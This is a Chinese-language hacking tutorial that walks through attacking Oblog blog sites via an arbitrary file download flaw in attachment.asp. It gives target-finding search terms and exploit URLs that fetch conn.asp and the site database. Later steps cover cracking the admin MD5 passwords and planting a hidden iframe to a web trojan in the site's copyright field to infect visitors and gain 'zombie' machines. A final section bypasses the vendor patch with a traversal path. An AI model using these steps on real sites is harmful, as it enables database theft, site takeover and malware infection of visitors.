最近各種網(wǎng)站程序總是漏洞不斷,也不知是攻擊者們挖洞太厲害,還是網(wǎng)站程序設(shè)計者們太粗心。尤其典型的是Oblog博客爆出的一個附件任意文件下載漏洞,導致攻擊者可以任意下載網(wǎng)站中的數(shù)據(jù)庫及各種機密信患文件,在短短的幾天之內(nèi)Oblog官方網(wǎng)站就將此漏洞補上了,可打過補丁之后,居然漏洞還存在!——不由讓人困惑,漏洞頻頻,究竟是什么地方出了問題?
第一爆,路徑未過濾
Oblog博客是一款國內(nèi)應(yīng)用非常廣泛的博客系統(tǒng),連國內(nèi)許多大型的門戶網(wǎng)站所提供的博客服務(wù),都是在Oblog博客的基礎(chǔ)上進行更改的。Oblog博客系統(tǒng)程序出現(xiàn)漏洞的話,后果是非常嚴重的。
菜鳥要提升,需會簡單分析
最先爆出的Oblog博客系統(tǒng)漏洞,主要源于Oblog博客系統(tǒng)的附件下載功能,未進行嚴格的過濾判斷,與致攻擊者可以提交任意數(shù)據(jù)字符,突破下載限制。我們先來看看簡單的漏洞代碼,并作一個簡單的分析。
Oblog博客系統(tǒng)的附件下載功能,只要是通過“attachment.asp”程序文件實現(xiàn)的,可從網(wǎng)上下載Oblog源程序。用記事本打開“attachment.asp”文件。在源代碼頂部,可以看到如下幾句簡單的代碼:
Path=Trim(Request(“path”))
FilelD=Trim(Request(“FilelD”))
這兩句代碼,是用于獲取下載附件的路徑和文件名的。其中只是用Trim函數(shù)過濾了文件名和路徑中的空格,后的代碼中未進行其它過濾操作,因此造成了漏洞的存在。
小測試,抓內(nèi)雞
了解了漏洞的簡單原理?,F(xiàn)在我們就來看看如何利用此漏洞,下載網(wǎng)站的數(shù)據(jù)庫。并進行攻擊的。由于此漏洞是存在于“Oblog v4.6 build 20080403”之前的版本中。所以需要先確定博客的版本。
檢測站點漏洞
在百度或Google中,以關(guān)鍵字“Copy right byOblog.cn”進行搜索,可找到大量的結(jié)果。隨便打開一個博客鏈接,在主頁鏈接后面添加“ver.asp”以查看版本,例如這里的目標網(wǎng)站鏈接是“http://www.****.com/blog”,那么版本鏈接就應(yīng)該是“http://www.****.com/blog/ver.asp”。在打開頁面返回信息中,就可以看到當前的Oblog版本。在這里返回的是“4.60 FinalBuild20080103(access)”,因此可以確定該站點滿足入侵攻擊要求。
下載Conn.asp
首先,在網(wǎng)站注冊一個用戶名,并登錄博客站點。因為下載附件前,首先會檢測用戶的Cookie信息是否登錄。登錄后才可以下載附件。登錄成功后,轉(zhuǎn)到自己的博客首頁,將地址欄中的鏈接改為“attachment,asp?path=./conn.asp”。這里目標網(wǎng)站鏈接是“http://www.****.com/blog”,那么就改成“http://www.****.com/blog/attachment.asp?path=./conn.asp”。假如目標網(wǎng)站采用的是一級目錄,鏈接地址形如“http://www.*****.com/”。則鏈接改為“http://www.****.com/attachment.asp?path=./conn.asp”。一定要注意鏈接的目錄關(guān)系,否則可能下載不到文件。
修改鏈接后,回車提交??梢钥吹綇棾隽艘粋€下載對話框。點擊“保存”按鈕,將“conn,asp”文件保存到本地。用記事本打開。
下載數(shù)據(jù)庫
其實“conn.asp”文件就是Oblog的數(shù)據(jù)庫連接文件。用于設(shè)置數(shù)據(jù)庫的路徑和打開關(guān)閉等配置。打開該文件的事。找到如下代碼:
Sub link database()
If Is_Sqldata=O Then
Access數(shù)據(jù)庫連接參數(shù)
此處必須為以根目錄開始,最前面必須為/號
免費用戶初次安裝務(wù)必修改DATA目錄的數(shù)據(jù)庫名稱
db=“/data/oblog4.60.asp”
其中的“db”定義的變量,就是路徑庫的數(shù)據(jù)地址了,這里為“/data/oblog4.60.asp”。再次在剛才瀏覽器窗口中。修改鏈接地址為“http://www.****.com/blog/data/oblog4.60.asp”,如果目標站點為一級目錄的話,也作相應(yīng)的修改。復制該鏈接到迅雷或網(wǎng)際快車之類的下載工具中,新建一個下載任務(wù),即可下載保存網(wǎng)站的數(shù)據(jù)庫。
如果網(wǎng)數(shù)據(jù)庫作了防下載處理,那么就只有用“http://www.****.com/blog/attachment.asp?path=./data/oblog4.60.asp”鏈接,在IE中提交后直接進行下載。
破解管理員密碼
將下載后的數(shù)據(jù)庫后綴名改為mdb,用Access或其它數(shù)據(jù)庫查看工具打開。找到“oblog admin”表,打開此數(shù)據(jù)表后,在其中可以看到管理員的用戶名及密碼。管理員密碼是用MD5過密的,因此需要進行破解,可以到一些MD5在線破解站點進行破解,也可以使用本地暴力破解工具解碼。具體的方法就不多說,以前講過很多。
“版權(quán)”掛馬
用破解的管理員密碼登錄后臺頁面“admin/adrain_loqin.asp”,在后臺管理頁面中,點擊左側(cè)的“網(wǎng)站信息配置”欄目。右設(shè)置頁面中,找到“網(wǎng)站信息配置”→“站點版權(quán)信息:”,在設(shè)置框中添加一句代碼“iframe src=“http://www.baidu.com”width=Oheight=O/iframe”。即可實現(xiàn)在網(wǎng)站掛馬。在實際操作過程中。需要將百度的鏈接改為自己的網(wǎng)頁木馬地址。至于網(wǎng)頁木馬的選擇,曾介紹過的黑手刃網(wǎng)頁木馬,威力是非常強大的。相信很快就可以獲得大量的肉雞!
第二爆,漏洞再現(xiàn)
Oblog博客爆出的任意文件下載漏洞,沒過幾天官方就發(fā)布的新的補丁,但是打上補丁后。其實這個漏洞還是存在的!看看集成了新補丁的“attachment.asp”文件,看看與原來的文件有什么不同,發(fā)現(xiàn)在其中多出了如下代碼:
IflnStr(path,Oblog.CacheConfig(56))>0 Then
downloadFile Server.MapPath(Path),1
該句代碼的作用,僅僅是判斷用戶提交的路徑是否包含“UploadFiles”,如果是的話,那么就調(diào)用downloadfile函數(shù)下載文件。此時。使用前面的方法已經(jīng)無法進行下載了。但是我們只需要修改一下提交的路徑鏈接,同樣還是可以下載的!
例如上面的“http://www.****.com/blog/attachment.asp?path=./conn.asp”鏈接,可以改為如下:
http://www.****.com/blog/attachment.asp?path=UploadFiles/..../conn.asp.
注意,在上面的鏈接地址中,最后的asp后有一個“.”。是用于突破對文件格式的限制的。提交鏈接后。就可以再次成功的下載到數(shù)據(jù)庫連接文件了。
下載數(shù)據(jù)庫后,再按與上面相同的方法,進入后臺。在后臺可以掛馬,也可以直接獲取Webshell,具體的方法在這里就不多說了。